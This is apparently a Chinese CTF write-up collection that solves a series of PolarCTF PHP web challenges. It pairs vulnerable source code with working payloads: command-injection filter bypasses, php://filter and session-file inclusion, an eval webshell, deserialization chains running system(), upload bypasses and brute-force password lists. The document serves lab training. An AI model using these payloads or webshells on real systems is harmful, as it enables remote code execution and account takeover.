简单

jwt

随便注册个账号后登录通过jwt爆破工具爆破出key为SYSA,加密为admin后访问个人主页获得flag

image-20250601165627284

井字棋

前端发现关键代码,直接请求就行

function declareWinner(who) {
document.querySelector(".endgame").style.display = "block";
document.querySelector(".endgame .text").innerText = who;

// 确定获胜状态并发送到后端
const winner = who === "您赢了!" ? "player" : "ai";

// AJAX 请求后端
fetch("game.php", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ winner: winner })
})
.then(response => response.json())
.then(data => {
if (data.flag) {
// 弹出 Flag
alert("Flag: " + data.flag);
} else if (data.message) {
// 显示提示
alert(data.message);
}
})
.catch(error => {
console.error("Error:", error);
});
}

image-20250601170047199

swp(php特性)

扫目录就能找到/.index.php.swp,访问得到源码

function jiuzhe($xdmtql)
{
return preg_match('/sys.*nb/is', $xdmtql);
}

$xdmtql = @$_POST['xdmtql'];

if (!is_array($xdmtql)) {
if (!jiuzhe($xdmtql)) {
if (strpos($xdmtql, 'sys nb') !== false) {
echo 'flag{*******}';
} else {
echo 'true .swp file?';
}
} else {
echo 'nijilenijile';
}
}

所以,要得到flag的条件是:

1. $xdmtql不是数组。

2. jiuzhe函数返回false,即preg_match不匹配。

3. strpos检查$xdmtql中存在'sys nb'字符串。

这里一个知识点就是preg_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。利用下面的代码进行回溯,让preg_match函数报错,绕过该函数

import requests
data = {"xdmtql": "sys nb" + "aaaaa" * 1000000}
res = requests.post('http://3b6cf073-93a4-4f15-b132-68507e551d1a.www.polarctf.com:8090/', data=data, allow_redirects=False)
print(res.content)

image-20250324104226118

简单rce(命令执行)

<?php

highlight_file(__FILE__);
function no($txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?>
GET:sys=passthru("ls%09/");
POST:yyds=666
GET:sys=passthru("ta\c%09/flag");
或sys=passthru("ta\c</flag");
POST:yyds=666

非常好绕的命令执行(命令执行)

<?php 
highlight_file(__FILE__);
$args1 = $_GET['args1'];
$args2 = $_GET['args2'];
$args3 = $_GET['args3'];
$evil = $args1.'('.$args2.')('.$args3.')'.';'; //$evil参数由args1(args2)(args3);
$blacklist = '/system|ass|exe|nc|eval|copy|write|\.|\>|\_|\^|\~|%|\$|\[|\]|\{|\}|\&|\-/i';
if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil)) //不能匹配黑名单,不能全部为空白字符(空格,制表符,换行符),全部为非空白的可打印字符,注意第二个是不全为,第三个是非空白
{
echo "<br>".$evil."<br>";
eval($evil);
}

?>
args1=echo&args2=`ls`);%23&args3=1   //flagggg index.php
args1=echo&args2=`tac<flagggg`);%23&args3=1
注:php中``作用是将反引号内命令先执行一次,因此再输出就能执行该命令。并且这里的#需要url编码

题解中还有种方法是通过hex2bin绕过,即十六进制绕过

网站被黑(文件包含)

一眼看去没漏洞点,扫目录试试

image-20250324113807060

看了下没啥东西,抓包看看

image-20250324113845574

发现hint:F5XDAXZQNZSV6ZRRNZSF63JTF4======,base解码挨着试一遍发现是base32,解码得/n0_0ne_f1nd_m3/,源码如下

<?php
error_reporting(0);

$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag|data|base|write|input/i",$file)){
echo "I am sorry but no way!";
exit();
}else{
include($file); //imposible.php
}
}
else{
highlight_file(__FILE__);
}
?>
GET:text=php://input&file=php://filter/read=string.rot13/resource=imposible.php
POST:welcome to the 504sys

注意是在/n0_0ne_f1nd_m3/下传参,并且传参中不能有空格,所以必须用php:input来实现

image-20250324115628593

蜜雪冰城吉警店(前端修改)

提示要点第九杯奶茶,通过修改前端页面中id=9,再点击按钮就能获得flag

image-20250327085815643

image-20250327085833522

iphone(更改UA)

进去让点按钮,但是提示必须从iPhone或ipad访问,抓包伪造UA,直接获得flag

Mozilla/5.0 (iPad; CPU OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1

image-20250327095823846

浮生日记(XSS)

提示弹个窗试试,先试试xss常用语句

<script>alert(1)</script>

image-20250327102352079

script被过滤,尝试双写绕过

<sscriptcript>alert(1)</sscriptcript>

image-20250327102404952

没有成功,尝试先闭合

"><sscriptcript>alert(1)</sscriptcript>

image-20250327102416269

点击确定获得flag

seek flag(robots.txt)

先看源码,发现提示爬虫爬到flag怎么办,果断查看robots.txt,获得flag3:c0ad71dadd11}

看到cookie中有id=0,改为id=1获得flag1:flag{7ac5b

image-20250401222839087

最后在流量中找到flag2:3ca8737a70f029d

结合起来:flag{7ac5b3ca8737a70f029dc0ad71dadd11}

XFF(更改X-Forwarded-For)

进去看到限制ip为1.1.1.1,直接请求头内修改X-Forwarded-For

X-Forwarded-For:1.1.1.1

获得flag

rce1(命令执行)

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

隔开之后执行命令就行

ip=;ls;
ip=;cat${IFS}fllllaaag.php; //源码中找到

GET-POST(传参)

<?php 
highlight_file(__FILE__);
include('flag.php');//文件包含,flag在flag.php文件中,不用想了你访问也没用
$id = $_GET['id'];
echo "你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1";
if($id == '1'){
echo "干的漂亮";
echo "<br/>";
echo "虽然我感受到了你的真诚,但还是不行,用POST请求传递一下jljcxy吧,令jljcxy=flag";
$jljcxy = $_POST['jljcxy'];
if($jljcxy == 'flag'){
echo $flag;
}
}
GET:id=1
POST:jljcxy=flag

被黑掉的站(弱口令)

扫目录找到/index.php.bak/shell.php,看到/shell.php中有密码框,/index.php.bak有酷似密码的东西,直接抓包爆破就行

123456
123456789
123123
111111
anhyeuem
1234567
123456789
123456
12345678
000000
asdasd
25251325
1234567890
121212
123321
zxcvbnm
qweqwe
456789
112233
aaaaaa
123123123
987654321
11111111
qwerty
147258369
maiyeuem
123qwe
654321
iloveyou
123654
999999
qqqqqq
1111111
147258
hota407
anhtuan
222222
159753
11223344
anhnhoem
anh123
159357
qwertyuiop
asd123
987654321
emyeuanh
mmmmmm
12345
666666
anhanh
123789
phuong
111222
qweasd
hanoiyeudau
nguyen
789456
1111111111
mylove
789456123
19001560
qwe123
asdfghjkl
pppppp
anhhung
1234560
abc123
maiyeu
123456a
zzzzzz
quangninh
987654
555555
tuananh
asasas
asdfgh
zxcvbn
321321
tinhyeu
147852369
456123
matkhau
147852
12345678910
thienthan
nikel
anhyeu
111111111
toiltoi
10cham0
147258369
456456
khongbiet
789789
a123456
333333
888888
123654789
truong
maimaiyeuem
hhhhhh

image-20250401225821550

当密码为nikel时成功登录获得flag

召唤神龙(jsfuck解码)

在源码的main.js中找到明显的JSfuck编码,解码得到flag

JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。

分别是:{ } [ ] + !
它不依赖于浏览器,因此可以在Node.js上运行。

image-20250401234047602

(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[+[]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]((+((+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]])+[])[!+[]+!+[]]+[+!+[]])

image-20250401234235610

login(爆破)

源码找到20200101/20200101成功登录,然后没思路了,看wp发现从01往上每个回显一个字符,爆破获得flag

flag{dlcg}

爆破(脚本)

<?php
error_reporting(0);

if(isset($_GET['pass'])){
$pass = md5($_GET['pass']);
if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
include('flag.php');
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

直接python写代码爆破

import hashlib
import itertools

def crack_password():
# 候选字符集(小写字母+数字)
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'

# 优先尝试短密码(4-6位)
for length in range(4, 7):
# 生成所有可能组合
for candidate in itertools.product(chars, repeat=length):
password = ''.join(candidate)
# 计算MD5哈希
md5_hash = hashlib.md5(password.encode()).hexdigest()

'''
条件检查顺序优化:
1. 先检查第32位是否='3'(快速过滤90%以上无效值)
2. 再检查第2/15/18位是否相同且为数字
3. 最后验证算术条件
'''
if (
md5_hash[31] == '3' # 第32位必须为'3'
and md5_hash[1] == md5_hash[14] == md5_hash[17] # 三位置字符相同
and md5_hash[1].isdigit() # 必须为数字字符
and md5_hash[1] != '0' # 避免除以零
):
# 验证算术条件 (3*c)/c == 3
c = int(md5_hash[1])
if (3 * c) // c == 3: # 整数除法
print(f'爆破成功!密码为: {password}')
print(f'对应MD5哈希: {md5_hash}')
return

if __name__ == '__main__':
crack_password()

最终pass=ae2c

image-20250402211340181

$$(超全局变量GLOBALS)

<?php

highlight_file(__file__);
error_reporting(0);
include "flag.php";

$a=$_GET['c'];
if(isset($_GET['c'])){
if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
die("oh on!!!");}

else{
eval("var_dump($$a);");}}

可能存在一个超全局变量GLOBALS

$GLOBALS:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的

说到GOLBALS就不能不说到global,那两者有何不同呢?请往下看

global在PHP中的解析是:global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。
注:在函数体内定义的global变量,函数体外可以使用,在函数体外定义的global变量不能在函数体内使用
$GLOBALS:用于访问所有全局变量(来自全局范围的变量),即可以从PHP脚本中的任何范围访问的变量。

所以直接传参c=GLOBALS获得flag

debudao(信息搜集)

源码中看到$flag,但是是错的,在cookie中看到url编码后的flag

签到题

改cookie

image-20250601171401875

Li9kYXRhL2luZGV4LnBocAbase64解码得./data/index.php

<?php
error_reporting(0);
$file = $_GET['file'];
if(!isset($file))
$file = '1';
$file = str_replace('../', '', $file);
include_once($file.".php");
highlight_file(__FILE__);
?>

由于include会直接执行文件,所以用伪协议访问

file=php://filter/read=convert.base64-encode/resource=..././..././..././..././..././flag

image-20250601172647398

flag{92eb5ffee6ae2fec3ad71c777531578f}

签到

将提交按钮提交显示提交ilovejljcxy,并且注意到对长度有限制。去掉disable和添加长度至11以上获得flag

image-20250601172804105

image-20250601173110449

flag{fa3f77dd58a0a8f990bb6292da75618f}

session文件包含

尝试发现文件遍历漏洞,尝试伪协议读取

file=php://filter/read=convert.base64-encode/resource=action.php

image-20250601173931808

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
$_SESSION["username"] = $name; //若存在name则将name赋值给session中的username
}
include($_GET['file']); //可通过file来包含session文件实现传马
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

可以发现可通过name来实现命令执行,session文件命名通常为sess_PHPSESSID,在tmp目录下,因此直接传马来执行命令

GET:file=../../tmp/sess_umkei44oreufjbmjop5thshm57
POST:name=<?php eval($_POST[123]);?>&123=system("tac /flaggggg");

image-20250601174627728

flag{43306e8113f53ece238c0a124432ce19}

Don’t touch me

源码找到./2.php2.php中源码找到按钮点击元素为3.php3.php中源码找到访问fla.php

image-20250601185933110

flag{0cee5a97f12b172ceeea2e9f67b7413e}

robots

访问robots.txt找到/fl0g.php

image-20250601190054346

flag{2f37589152daf6f111b232ef4aea1304}

php very nice

<?php
highlight_file(__FILE__);
class Example
{
public $sys='Can you find the leak?';
function __destruct(){
eval($this->sys);
}
}
unserialize($_GET['a']);
?>

exp为

<?php
class Example
{
public $sys='system("ls");';
}
$a=new Example();
echo serialize($a);
?>
a=O:7:"Example":1:{s:3:"sys";s:13:"system("ls");";}
a=O:7:"Example":1:{s:3:"sys";s:17:"system("tac f*");";}

image-20250601190811816

flag{202cb962ac59075b964b07152d234b70}

ezupload

先尝试直接上传,提示Sorry, we only allow uploading GIF images,那就加上文件头GIF89a上传

但是还是不行,尝试修改文件类型mime typeimage/gif

image-20250601191438902

成功上传,蚁剑连接在上一层目录找到flag.php文件

flag{ffffffffllllaaggg_!!!}

cookie欺骗

cookie就行

image-20250601192009841

flag{10e35c76602b330149ef009e0b484d8f}

upload

源码提示访问?action=show_code,源码如下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

要将后缀替换为空,双写后缀就行。上传的图像就在下方显示,直接看到随机数后传参就行

image-20250601192914965

123=system("ls ../");  //flag.php
123=system("tac ../flag.php");

flag{a89f40341f4271659154829a2215f428}

干正则

<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}

$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

关键就是@parse_str($id);,这里能让我们进行变量覆盖。后面直接分隔后命令执行就可以

id=a[0]=www.polarctf.com&cmd=;ls  //flag.php
id=a[0]=www.polarctf.com&cmd=;tac f*

image-20250601193716145

flag{e44882416c9fa79cc5a6a51e6e19cdbc}

cool

<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
if(is_numeric($a)){
echo "no";
}
if(!preg_match("/flag|system|php/i", $a)){
eval($a);
}
}else{
highlight_file(__FILE__);
}
?>
a=passthru("ls");  //flag.txt
a=passthru("tac f*");

flag{4512esfgsdIirhgui82545er4g5e5rg4er1}

uploader

<?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandBox)){
mkdir($sandBox,0755,true);
}
if($_FILES){
move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo $sandBox;
}

highlight_file(__FILE__);

用python脚本上传文件

import requests

url = 'http://055a0922-a994-45ee-9635-c9232735cb7f.www.polarctf.com:8090/' # 替换成你的环境地址

files = {'file': open('D:\Python\yijihua.php', 'rb')} # 将文件名替换为你想上传的文件

response = requests.post(url, files=files)

if response.status_code == 200:
print("文件上传成功!")
print("服务器返回的消息:", response.text)
else:
print("文件上传失败!")
print("错误码:", response.status_code)

image-20250601195250455

17a73e5b74447c41b5b6d9674e963b8d/1.php即为文件路径,蚁剑连接根目录找到flag

image-20250601195420439

flag{256d5ca173f463165db6ed366b597da8}

覆盖

<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

和前面的干正则一样

id=a[0]=www.polarctf.com&cmd=;ls  //flag.php
id=a[0]=www.polarctf.com&cmd=;tac f*

flag{e44882416c9fa79cc5a6a51e6e19cdbc}

PHP反序列化初试

<?php
class Easy{
public $name;
public function __wakeup()
{
echo $this->name;
}
}
class Evil{
public $evil;
private $env;
public function __toString()
{
$this->env=shell_exec($this->evil);
return $this->env;
}
}

if(isset($_GET['easy'])){
unserialize($_GET['easy']);
}else{
highlight_file(__FILE__);
}

这里本来shenll_exec是无回显函数,但是下面给出了返回值,因此通过__wakeup中的echo来触发__toString正常打就行

<?php
class Easy{
public $name;
}
class Evil{
public $evil="ls";
private $env;
}

$a=new Easy();
$a->name=new Evil();
echo urlencode(serialize($a));
//O%3A4%3A%22Easy%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Evil%22%3A2%3A%7Bs%3A4%3A%22evil%22%3Bs%3A2%3A%22ls%22%3Bs%3A9%3A%22%00Evil%00env%22%3BN%3B%7D%7D
easy=O%3A4%3A%22Easy%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Evil%22%3A2%3A%7Bs%3A4%3A%22evil%22%3Bs%3A2%3A%22ls%22%3Bs%3A9%3A%22%00Evil%00env%22%3BN%3B%7D%7D
easy=O%3A4%3A%22Easy%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Evil%22%3A2%3A%7Bs%3A4%3A%22evil%22%3Bs%3A6%3A%22tac+f%2A%22%3Bs%3A9%3A%22%00Evil%00env%22%3BN%3B%7D%7D

image-20250601201201350

flag{08a46a069bd77e33531bb2ab244f4196}

机器人

直接访问robots.txt,获得flag{4749ea1ea481a5d和另一个路由/27f5e15b6af3223f1176293cd015771d

最后发现加上flag.php获得剩下的flag

image-20250601201634749

flag{4749ea1ea481a5d56685442c8516b61c}

扫扫看

尝试几个未果后还是只能扫目录,发现flag.php可以直接访问,源码获得flag

flag{094c9cc14068a7d18ccd0dd3606e532f}

审计

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if (isset($_GET['xxs'])) {
$input = $_GET['xxs'];

if (is_array($input)) {
die("错误:输入类型不允许为数组。");
}
if (!preg_match("/^0e[0-9]+$/", md5($input))) {
die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
}
if (!is_numeric($input)) {
die("错误:输入必须是数字。");
}

die("恭喜:".$flag);
} else {
die("错误:必须设置正确参数。");
}
?>

补充下MD5后0e开头的

QNKCDZO
QLTHNDT
240610708
s214587387a
s878926199a
s155964671a
0e215962017 #注意,最后一个可以用于$a==md5($a),md5加密后仍以0e开头

直接传参xxs=240610708

flag{1bc29b36f623ba82aaf6724fd3b16718}

upload1

前端检测,先传jpg文件再抓包改包即可

image-20250601202447007

蚁剑连接根目录找到/flag.txt

flag{adbf5a778175ee757c34d0eba4e932bc}

rapyiquan

<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');

$url = $_SERVER['REQUEST_URI']; //检测请求的url,用[绕过
function checkUrlParams($params) {
if (strpos($params, '_') !== false) {
return false;
}
return true;
}

if(checkUrlParams($url)){
$cmd=$_GET['c_md'];
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("badly!");
} else {
echo `$cmd`; //反引号命令执行后,echo输出
}
}else{
echo "$url";
echo "<br>";
echo "Hack";
}

首先对url里面检测下划线,因此用[代替下划线绕过。并且并没有过滤斜线和反斜线,反斜线绕过

c[md=l\s /    //flag.php
c[md=ta\c /fla\g.php

flag{cf7d0e14fbf7845e50d53a478d3d10eb}

bllbl_ser1

进去将代码整理一下,得到

<?php
class bllbl {
public $qiang; //我的强
function __destruct(){
$this->bllliang(); }
function bllliang(){
$this->qiang->close(); }
}
class bllnbnl{
public $er;//我的儿
function close(){
eval($this->er); }
}
if(isset($_GET['blljl'])){
$user_data=unserialize($_GET['blljl']);
}

一个简单的反序列化,链子如下

bllnbnl::close->bllbl::bllliang->bllbl::__destruct

exp如下

<?php
class bllbl {
public $qiang; //我的强
function bllliang(){
$this->qiang->close(); }
}
class bllnbnl{
public $er='system("ls /");';//我的儿
function close(){
eval($this->er); }
}
$a=new bllbl();
$a->qiang=new bllnbnl();
echo serialize($a);
blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:15:"system("ls /");";}}
blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:20:"system("cat /flag");";}}

image-20250601205143690

flag{f2fe05c8ecca794c80e3a46d7fa5b47e}

1ncIud3

根据页面提示用page来目录遍历

page=../../../../../flag        //不会如此容易,何不如像题目一样替换一些字符,不过需要你仔细寻找,同时你需要考虑这里可能过滤了一些符号。

猜测替换了..为空,用..././绕过,同时尝试替换flag的字词,最后f1a9成功

page=..././..././f1a9

这里很离谱的是只能返回两层目录,否则就未找到

image-20250601210257192

flag{b7e5578d5f11ee7db50f30596052293f}

投喂

Welcome to the CTF Challenge!
Use the following API to interact:

POST a parameter "data" containing serialized User object

Hint: You might want to understand how PHP serialization works. Try to serialize a User object with the username and is_admin properties.

Extra Hint: If you can make the server think you are an admin (is_admin=true), you might get something special.

按照提示构建user类

<?php
class user{
public $username='admin';
public $is_admin=1;
}
$a=new user();
echo serialize($a);
//O:4:"user":2:{s:8:"username";s:5:"admin";s:8:"is_admin";i:1;}

image-20250601210710112

flag{6f450d5d498782e74580b57b1bdd138e}

狗黑子的RCE

<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');


$gouheizi1=$_GET['gouheizi1'];
$gouheizi2=$_POST['gouheizi2'];
$gouheizi2=str_replace('gouheizi', '', $gouheizi2);

if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
echo("badly!");
exit;
}
if($gouheizi2==="gouheizi"){
system($gouheizi1);
}else{
echo "gouheizi!";
}
?>

这里的gouheizi2直接双写绕过就行,

GET:gouheizi1=ta\c /f\lag.php 
POST:gouheizi2=gougouheiziheizi

flag{d22add0cf74c46feffe95e7f8064136b}

button

image-20250601211557372

看源码,访问/proxy.php?file=flag,源码找到flag

flag{ce50a09343724eb82df11390e2c1de18}

简单的导航站

先注册后登录,发现页面用户列表有源码如下

<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('user.php');

$user1 = $_GET['user1'];
$user2 = $_GET['user2'];

if ($user1 != $user2) {
if (md5($user1) === md5($user2)) {
echo '用户名:' . $user;
} else {
echo 'MD5值校验出错啦啦啦......';
}
} else {
echo 'user不能相等!';
}
?>
GET:user1[]=1&user2[]=2

拿下用户列表

123456 123456789 123123 111111 anhyeuem 1234567 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123123123 987654321 11111111 qwerty 147258369 maiyeuem 123qwe 654321 iloveyou 123654 999999 qqqqqq 1111111 147258 hota407 anhtuan 222222 159753 11223344 anhnhoem anh123 159357 qwertyuiop asd123 987654321 emyeuanh mmmmmm 12345 666666 anhanh 123789 phuong 111222 qweasd hanoiyeudau nguyen 789456 1111111111 mylove 789456123 19001560 qwe123 asdfghjkl pppppp anhhung 1234560 abc123 maiyeu 123456a zzzzzz quangninh 987654 555555 tuananh asasas asdfgh zxcvbn 321321 tinhyeu 147852369 456123 matkhau 147852 12345678910 thienthan nikel anhyeu 111111111 toilatoi 10cham0 147258369 456456 khongbiet 789789 P0la2adm1n a123456 333333 888888 123654789 truong maimaiyeuem hhhhhh User john admin alice bob administrator user wackopicko adam sample 123456 Password password 12345678 qwerty 12345 letmein 1234567 football iloveyou admin welcome monkey login abc123 starwars dragon passw0rd p@ssword p@ssw0rd master hello freedom whatever qazwsx trustno1

123456
123456789
123123
111111
anhyeuem
1234567
12345678
000000
asdasd
25251325
1234567890
121212
123321
zxcvbnm
qweqwe
456789
112233
aaaaaa
123123123
987654321
11111111
qwerty
147258369
maiyeuem
123qwe
654321
iloveyou
123654
999999
qqqqqq
1111111
147258
hota407
anhtuan
222222
159753
11223344
anhnhoem
anh123
159357
qwertyuiop
asd123
987654321
emyeuanh
mmmmmm
12345
666666
anhanh
123789
phuong
111222
qweasd
hanoiyeudau
nguyen
789456
1111111111
mylove
789456123
19001560
qwe123
asdfghjkl
pppppp
anhhung
1234560
abc123
maiyeu
123456a
zzzzzz
quangninh
987654
555555
tuananh
asasas
asdfgh
zxcvbn
321321
tinhyeu
147852369
456123
matkhau
147852
12345678910
thienthan
nikel
anhyeu
111111111
toilatoi
10cham0
147258369
456456
khongbiet
789789
P0la2adm1n
a123456
333333
888888
123654789
truong
maimaiyeuem
hhhhhh
User
john
admin
alice
bob
administrator
user
wackopicko
adam
sample
123456
Password
password
12345678
qwerty
12345
letmein
1234567
